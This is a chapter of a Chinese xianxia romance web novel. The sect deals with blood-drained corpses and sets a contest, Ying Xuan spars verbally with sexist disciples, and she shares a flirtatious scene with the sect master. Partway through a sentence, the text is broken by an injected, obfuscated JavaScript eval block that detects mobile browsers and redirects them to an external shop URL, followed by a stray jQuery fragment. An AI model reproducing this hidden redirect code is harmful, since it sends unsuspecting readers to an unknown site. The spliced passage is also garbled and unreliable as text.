或是默契使然,此后一个月,应璇都会在落日坠下山幕后见到晏晦明,他们在几个山头来回练剑,少言寡语,但剑术突飞猛进。
唯独让应璇颇感困扰的是,无论她再怎么想更进一步,剑意便如蒙了一层黑纱,她难以再突破更高的境界。
这份悄然的安稳被无情打破。
三月底,乾山镇传来让人毛骨悚然的消息。
有一大批镇民横死山中,死后面容枯槁,血气皆被吸干,只剩皮肉皱巴巴地贴在骨头上,俨然成了一具干尸。
镇民们惴惴不安,都惶恐地躲在家中。几个胆子稍大的,把尸体一具具背回来,九步一叩上山求华真宗出面。
“照他们所说,吸食精气,是魔窟那群家伙最常用的手段,魔女被封印后数年,他们都藏匿不出,为何今年尤为躁动,频频冒犯。”茱萸掐点五指,面色凝重。
“难不成……”抚羌假设,被匠忻打断。
“不可能,高宸当年将魔女的魂魄斩散,分别封印在五处,除了华真宗这道加固的结界自阿晏接受掌门后就频繁松动,其他五处并无异样。”
“这结界本就是取阿晏的血炼化而成,这些年他频繁受伤,结界固然没那么牢固。”扶羌指尖在桌面敲点,一卷地图在眼前向两侧展开,五个封锁点化作立体景观在地图上平地而起,“如若是魔族来犯,定然是嗅到了他们主人的信息,我们在追踪上,本就弱于玄阑门,要是让他们抢先一步,恐怕……”
“是时候了。”茱萸同抚羌、匠忻两人商议,“这批弟子还未历练,我日日观天象,结界越来越动荡,阿晏重伤暂无法加固,何不借着这次机会,选出一批优者,待他出关,与他一同去取烁灵剑。”
“长痛不如短痛,有些事,注定是需要牺牲的。”
午后,茱萸要在清明过后举办一年一度的乾坤问道比试的消息便在宗门上下传开。
在此之前,众位弟子需得下山查明此次在乾山镇作乱者是谁,能抓到活物者,进一位,抓到死物者,进二位。能与之碰面且战上一战者,进压轴位,获得一次比试复活机会。
一轮下来,能参加乾坤问道比试者,只有三十个名额。
弟子们议论纷纷。
“往年所有弟子都能参加,今年为何严格至此?”
“哎,还是月望师叔好,他对我们每个弟子都一视同仁。茱萸师叔毕竟是个女人,说话做事弯弯绕绕又较真。”
“啊——”
几片花瓣如刀片扎入他们碗内,溅得汤汁四射,泼了他们满脸,引得一众嚎叫声。
待他们匆忙擦了脸,看清来人,震怒起身,“冷翘!你干什么?”
冷翘面容淡漠,抱剑站在门侧,他们这才瞧见,她身后还跟着一男一女。
正对门槛的反光在他们齐步踏入后渐显明晰。
居中那位,扎着双环髻,着一身青瓷绿交领襦裙,外披更深色湖绿广袖外袍,绿萝刺绣的腰带收束腰身,瞧着轻盈素净,凉风及面,只一个清新二字映入心间。
她身后别着一柄新剑,个子娇小,却一脸倔相。
男子环臂在胸前,昂着下巴,一副“来战”之势。
“应璇、柳百词,你们俩也来凑什么热闹?”几个弟子不肯吃亏,站起身朝他们走来。
“龙潭师兄,敢问,你们是谁所生?”应璇偏头,一脸天真地发问。
她双眸清澈无异,像是诚心,龙潭随意道:“自是我娘所生。”
“你娘,应当是女子?”应璇点头,较真继续问。
龙潭哼了声道:“废话,难不成是男子?”
“不对啊。”应璇老神在在地摇摇头,“那你为何看不起女子?”
龙潭等弟子一时噎住,几人扭头相视,一时接不上话。
应璇提唇浅笑,迈着轻快的步子与冷翘、柳百词二人一起和他们擦肩,不再多说。
“小师妹,没想到你骂人有一手。”待走远,柳百词朝应璇竖起两个大拇指。
应璇无畏地抬抬肩,“我剑法还不够厉害,只能先耍耍嘴皮子咯。”
“师姐,明日下山组队,你我一起可好?”她慢下步子,小碎步挪到冷翘身侧,试探性地开口,“我这柄剑叫青苒,你那柄叫花瓷,我们合力,我的剑意正好可以助长你的剑意。如果遇到邪祟,一定可以更快杀敌。”
“我不需要任何人的帮忙。”冷翘本就不喜笑,更别提应喝的大表情,听到她再次提起剑名,脸色骤然一变,闷声甩手快步离去。
“诶……”应璇双手交握在身前,焦灼地扣起手指,正欲去追,柳百词拦住她。
他难得一脸语重心长的长辈相,“小师妹,你这次戳到师姐的逆鳞了。”
见应璇嘴唇张张合合,慌乱又内疚的神色,他解释道:“你没来之前,师姐是宗门内唯一一个女弟子,拜在最为执拗的月望师叔手下,她儿时时常被责骂惩罚,轻则洒扫,重则整日罚跪。她是木灵根,本就不善用剑,后来她与花瓷剑感应,被它认主,悟到剑意后的杀招——飞花斩,是以花瓣致幻,让人陷入内心渴求的美好幻想,从而杀敌,年长的弟子们认为她的招数不入流,常常笑她与剑名一般,是个耍花招的瓷瓶,没什么真本事。”
柳百词心疼地敛目,轻叹,“所以,她很厌恶有人提起她的剑。”
“不过,你的剑和师姐的剑的确是姐妹剑,相传是上古时期有一对孪生花仙子,为斩断自己攀附树干生长的生缘,于是寻山问水找来千年菩提木铸造而成。”柳百词困惑道:“掌门为何给你选这把剑?”
应璇郁闷,只道不知。
近来她的剑术却有长进,但许久未杀人夺取恶气,她遇到了难以突破的瓶颈,晏晦明似早有预料,曾无意提及过让她不要只想着单打独斗,她是听进去了,但没结盟失败,还再度戳了人家的痛处。
她在冷翘门前几度徘徊,好不容易鼓起勇气敲门,对方皆未应。她往门缝里塞入一封手写的道歉信才珊珊离去。
入夜,她坐在和晏晦明练剑的山头蹲身抱头闷声不吭。
华真宗是个包罗万象的门派,使用千奇百怪灵器的弟子不在少数,长剑虽好,她终究用不惯,见山下弟子来来往往,都拿着自己独有的灵器修炼,她生出些羡慕。
她双手撑在身后,闲散地摆动两条垂落的双腿,盯着来去的人行,倏地,她定睛一看,望见两个熟悉的身影。
应璇打开听门,沉气倾听。
“掌门,你身体恢复得如何?”冷翘从腰侧拿出一个药瓶,给他递去,“这是我用从医书所学的孕养经脉的方子炼化的药丸,你每日服用一颗,对经脉恢复大有裨益。”
晏晦明没收,沉声半刻,出声问:“我想请你帮个忙。”
“你有求于我,我自是在所不辞。”冷翘清淡的眉眼有了笑意。
“这件事,对你也有益。”晏晦明不急不慢,“自破镜后,你是否已许久未能突破?”
冷翘面露困窘,“是。”
“应璇不善用剑,但六日后的乾坤问道,我要她进阶。我给她选了与你的花瓷剑同生的青苒剑,你可明白我的用意?”晏晦明点到为止。
他并不明说,冷翘怎会不懂其中好处。
藤萝吸取天地灵气滋养出粗壮的枝干和繁茂的绿叶,它越是迸发生机,奋力生长,便越能盛放出满藤花苞。
她若是愿意助应璇突破,定是稳赚不亏。
冷翘想到她屡屡因应璇提及花瓷剑而生闷气,愧疚地垂下眼。她被心魔阻碍,已
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587898|203465||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
停滞许久。
应璇主动递来橄榄枝,她还傲慢地拒绝了。
“我愿意帮忙,但我有一事不解。”她犹豫了会,选择问出口,“应璇既不适合修剑,你为何坚持让她用剑呢?”
晏晦明听她同意,这才拿过她手中的药瓶,“此事暂时不便告诉你,明日下山,还望你对应璇多费心。”
他话音一落,消散无形。
冷翘迈脚追去,他的气息早已被清除干净。她摸出胸口拿封道歉信,打开看了又看,孤身走入被黑夜笼罩的山道里。
萤火在她身后跟随,点亮她周围的道路。
应璇正听得起劲,对冷翘的提问同样想求个根底,哪知他们就此散去,晏晦明也不见踪迹。
她起身抬起手罩在眼前四处张望,身后冷不丁冒出他的声音,“还没听够?”
应璇吓得背脊发麻,飞快转身将手背在身后,做出一副乖巧的模样,“我、我在看风景呢,这乾山夜色阑珊,美不胜收,哈哈。”
他习惯了她张口就来的本事,将从冷翘那拿来的药瓶抛给她,应璇狗腿般眼疾手快地接下。
晏晦明往弯折的古树上慵懒一躺,侧目向她挑眼,“既然都听到了,该怎么感谢我?”
应璇不情不愿地挪向他,“你是不是知道我的灵器是什么?它在哪?我若是直接拿了命定灵器,不就不用再勉强自己用剑了吗?”
“你一次性问这么多个问题,我该先回答你哪一个?”晏晦明阖上眼,勾勾手指将她腾起,又拉到他腿侧,“坐下来。”
应璇撑着他的腿转了个身,大大方方坐到他腿上,他屈起另一条腿,正好给她做靠背。
她仰头闲适地靠下去,摆动着小腿追问:“你快别卖关子了。”
晏晦明按住她不安分的膝盖,漫不经心道:“我看你伤势已大好,这听觉,我也该收回来了。”
“诶诶诶,别啊。”应璇着急地立起身来,一个不稳,双手摁在他腰腹上支撑身体,凹凸不平的肌肉垒块紧实发硬,随着他吐纳起伏,温热的触感挠刺着她手心,有些发痒,“你每天能听见那么多人的声音,耳朵得多累啊,我帮你分担分担,不好吗?”
“嗯,你若听话懂事至此,我也不必劳心费神。”晏晦明被她明目张胆地吃豆腐,视而不见。
“那你告诉我呀?”应璇的两个爪子小猫踩奶似不安分地在他小腹抓挠,愈发没规矩。
晏晦明被她挠得升起一股燥意,钳制住她的手腕直起身来,漆黑的眸子紧咬着她的双眼,“你只要记住,我做的一切,都是以你为前提就够了。”
“尤其是这次的乾坤问道比试,你一定要拿到参加名额。”
应璇被他正经严肃的语气教训得头脑发晕,一知半解,想问的问题已然被他堵住了去路,只得吞在肚子里,自行消化掉。
他拨开她手中药瓶的塞子,“啵”的一声,把她的思绪拉回来。
晏晦明捏住她后颈强行将她揽靠在怀里,继而手臂下沿抓握住她细瘦的腕部,抬了抬腿将她向上一颠,将她的坐姿调整离他更近,他不容置喙的沉声在她的发顶发号施令,“现在,喂我吃。”
上次给他擦药,他就使了不少诡计,骗了她大几十的好感值。
应璇捏搓着瓶身,不想被他故技重施。
“你要吃几颗?”她摇着瓶子作势往手心倒。
“一颗。”
应璇垂着脑袋,鼓起一侧腮帮,一连倒出几颗藏在指尖收拢,讨价还价道:“那你求求我,求我一次,我就喂你一次。”
晏晦明迟迟不出声,她仰头询查,就见他冷峻的脸看透一切似盯着她,勾唇,得逞一笑,俯身的阴影笼覆住她面庞,不等她反应,他就倾轧而下,堵住了她所有呼吸。